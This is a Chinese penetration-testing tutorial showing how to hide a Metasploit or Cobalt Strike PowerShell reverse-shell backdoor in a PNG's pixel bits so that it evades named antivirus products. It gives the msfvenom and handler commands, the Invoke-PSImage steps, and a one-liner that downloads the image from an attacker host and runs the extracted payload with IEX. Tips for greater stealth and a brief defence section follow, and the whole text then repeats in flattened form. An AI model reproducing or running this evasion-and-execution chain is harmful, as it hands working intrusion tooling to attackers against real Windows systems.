渗透测试之地基免杀篇:隐写RGB过所有杀软
字数 1490 2025-08-15 21:33:44

渗透测试之地基免杀篇:隐写RGB过所有杀软

一、技术概述

本技术通过将恶意payload隐写到PNG图片的RGB像素中,实现绕过主流杀毒软件(包括360、360杀毒、火绒、deferencer等)的检测。该方法利用颜色分量的低位存储shellcode,通过特定的PowerShell脚本实现payload的提取和执行。

二、环境准备

攻击者环境

  • 系统:Kali Linux 2020.4
  • IP:192.168.253.8
  • 工具:Cobalt Strike、Metasploit Framework

目标环境

  • 系统:Windows 10
  • IP:192.168.253.17
  • 安全软件:360、360杀毒、火绒、deferencer

所需工具和材料

  1. PSImage源代码:Invoke-PSImage
  2. 一张JPG图片作为载体
  3. PowerShell后门文件(由CS或MSF生成)

三、操作步骤

1. 生成后门文件

Cobalt Strike生成

# 生成powershell后门payload.ps1

Metasploit生成

# 设置监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost 192.168.253.8; set lport 5555; exploit -j;"

# 生成后门文件
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > msf-dayu.ps1

2. 隐写RGB操作

在Windows 10系统执行以下操作:

# 更改执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser

# 导入模块
Import-Module .\Invoke-PSimage.ps1

# 执行隐写(CS后门示例)
Invoke-PSImage -Script .\cs-dayu.ps1 -Image .\dayu.jpg -Out .\cs-dayu.png -Web

# 执行隐写(MSF后门示例)
Invoke-PSImage -Script .\msf-dayu.ps1 -Image .\dayu.jpg -Out .\msf-dayu.png -Web

参数说明:

  • -Script: 要写入图片的PowerShell脚本
  • -Image: 用作载体的图片
  • -Out: 输出图片路径
  • -Web: 生成用于从Web读取图像的命令

3. 启动HTTP服务

在Kali上启动HTTP服务:

python -m SimpleHTTPServer 80

4. 执行payload

将生成的PowerShell命令中的URL修改为实际地址后执行:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.253.8/cs-dayu.png"));$o=a Byte[] 4000;(0..3)|%{foreach($x in(0..999)){$p=$g.GetPixel($x,$_);$o[$_*1000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

四、技术原理分析

1. 核心组件

  • System.Drawing: 用于图像处理
  • System.Web: 用于网络通信

2. 隐写过程

  1. 将图像读入内存
  2. 锁定图像内存区域以便修改
  3. 将RGB值复制到数组
  4. 检查payload是否适合图像大小
  5. 生成128位随机令牌
  6. 遍历RGB数组并将payload写入:
    • 修改B和G分量的低4位存储payload
    • 其他像素填充随机数据

3. RGB隐写原理

  • 每个像素由R、G、B三个分量组成,每个分量8位
  • 使用B和G分量的最低4位存储payload数据
  • 提取时通过位运算还原原始数据:
    • paybyte1 = payload高4位
    • paybyte2 = payload低4位
    • 通过(B & 0x0f) << 4 | (G & 0x0f)还原原始字节

4. 提取执行过程

  1. 从网络下载图片
  2. 读取每个像素的B和G分量
  3. 提取低4位数据
  4. 组合还原原始payload
  5. 通过IEX执行还原的代码

五、防御建议

  1. 执行策略限制

    • 保持PowerShell执行策略为受限状态
    • 监控执行策略的更改
  2. AMSI防护

    • 确保AMSI(反恶意软件扫描接口)启用
    • 及时更新AMSI签名
  3. 网络流量监控

    • 监控异常的HTTP下载行为
    • 特别关注PNG文件的下载和执行
  4. 图像文件分析

    • 对可疑图像文件进行RGB分析
    • 检查图像文件是否有异常修改
  5. 行为监控

    • 监控PowerShell的异常行为
    • 特别关注从图像中读取数据的操作

六、技术改进建议

  1. 可以考虑使用三个颜色分量的最低位进行隐写(类似LSB隐写)
  2. 增加随机填充数据的复杂度
  3. 结合其他隐写技术提高隐蔽性
  4. 优化payload的编码方式减少体积

七、注意事项

  1. 本技术仅用于合法渗透测试和研究目的
  2. 在实际测试前必须获得明确授权
  3. 使用前应充分评估可能带来的风险
  4. 建议在隔离环境中进行测试

八、总结

通过RGB隐写技术,可以有效绕过主流杀毒软件的检测。该方法利用了图像处理的基本原理和杀毒软件的检测盲区,具有较高的隐蔽性。防御方需要从多个层面建立防护措施,才能有效防范此类攻击。

渗透测试之地基免杀篇:隐写RGB过所有杀软 一、技术概述 本技术通过将恶意payload隐写到PNG图片的RGB像素中,实现绕过主流杀毒软件(包括360、360杀毒、火绒、deferencer等)的检测。该方法利用颜色分量的低位存储shellcode,通过特定的PowerShell脚本实现payload的提取和执行。 二、环境准备 攻击者环境 系统:Kali Linux 2020.4 IP:192.168.253.8 工具:Cobalt Strike、Metasploit Framework 目标环境 系统:Windows 10 IP:192.168.253.17 安全软件:360、360杀毒、火绒、deferencer 所需工具和材料 PSImage源代码: Invoke-PSImage 一张JPG图片作为载体 PowerShell后门文件(由CS或MSF生成) 三、操作步骤 1. 生成后门文件 Cobalt Strike生成 Metasploit生成 2. 隐写RGB操作 在Windows 10系统执行以下操作: 参数说明: -Script : 要写入图片的PowerShell脚本 -Image : 用作载体的图片 -Out : 输出图片路径 -Web : 生成用于从Web读取图像的命令 3. 启动HTTP服务 在Kali上启动HTTP服务: 4. 执行payload 将生成的PowerShell命令中的URL修改为实际地址后执行: 四、技术原理分析 1. 核心组件 System.Drawing : 用于图像处理 System.Web : 用于网络通信 2. 隐写过程 将图像读入内存 锁定图像内存区域以便修改 将RGB值复制到数组 检查payload是否适合图像大小 生成128位随机令牌 遍历RGB数组并将payload写入: 修改B和G分量的低4位存储payload 其他像素填充随机数据 3. RGB隐写原理 每个像素由R、G、B三个分量组成,每个分量8位 使用B和G分量的最低4位存储payload数据 提取时通过位运算还原原始数据: paybyte1 = payload高4位 paybyte2 = payload低4位 通过 (B & 0x0f) << 4 | (G & 0x0f) 还原原始字节 4. 提取执行过程 从网络下载图片 读取每个像素的B和G分量 提取低4位数据 组合还原原始payload 通过IEX执行还原的代码 五、防御建议 执行策略限制 : 保持PowerShell执行策略为受限状态 监控执行策略的更改 AMSI防护 : 确保AMSI(反恶意软件扫描接口)启用 及时更新AMSI签名 网络流量监控 : 监控异常的HTTP下载行为 特别关注PNG文件的下载和执行 图像文件分析 : 对可疑图像文件进行RGB分析 检查图像文件是否有异常修改 行为监控 : 监控PowerShell的异常行为 特别关注从图像中读取数据的操作 六、技术改进建议 可以考虑使用三个颜色分量的最低位进行隐写(类似LSB隐写) 增加随机填充数据的复杂度 结合其他隐写技术提高隐蔽性 优化payload的编码方式减少体积 七、注意事项 本技术仅用于合法渗透测试和研究目的 在实际测试前必须获得明确授权 使用前应充分评估可能带来的风险 建议在隔离环境中进行测试 八、总结 通过RGB隐写技术,可以有效绕过主流杀毒软件的检测。该方法利用了图像处理的基本原理和杀毒软件的检测盲区,具有较高的隐蔽性。防御方需要从多个层面建立防护措施,才能有效防范此类攻击。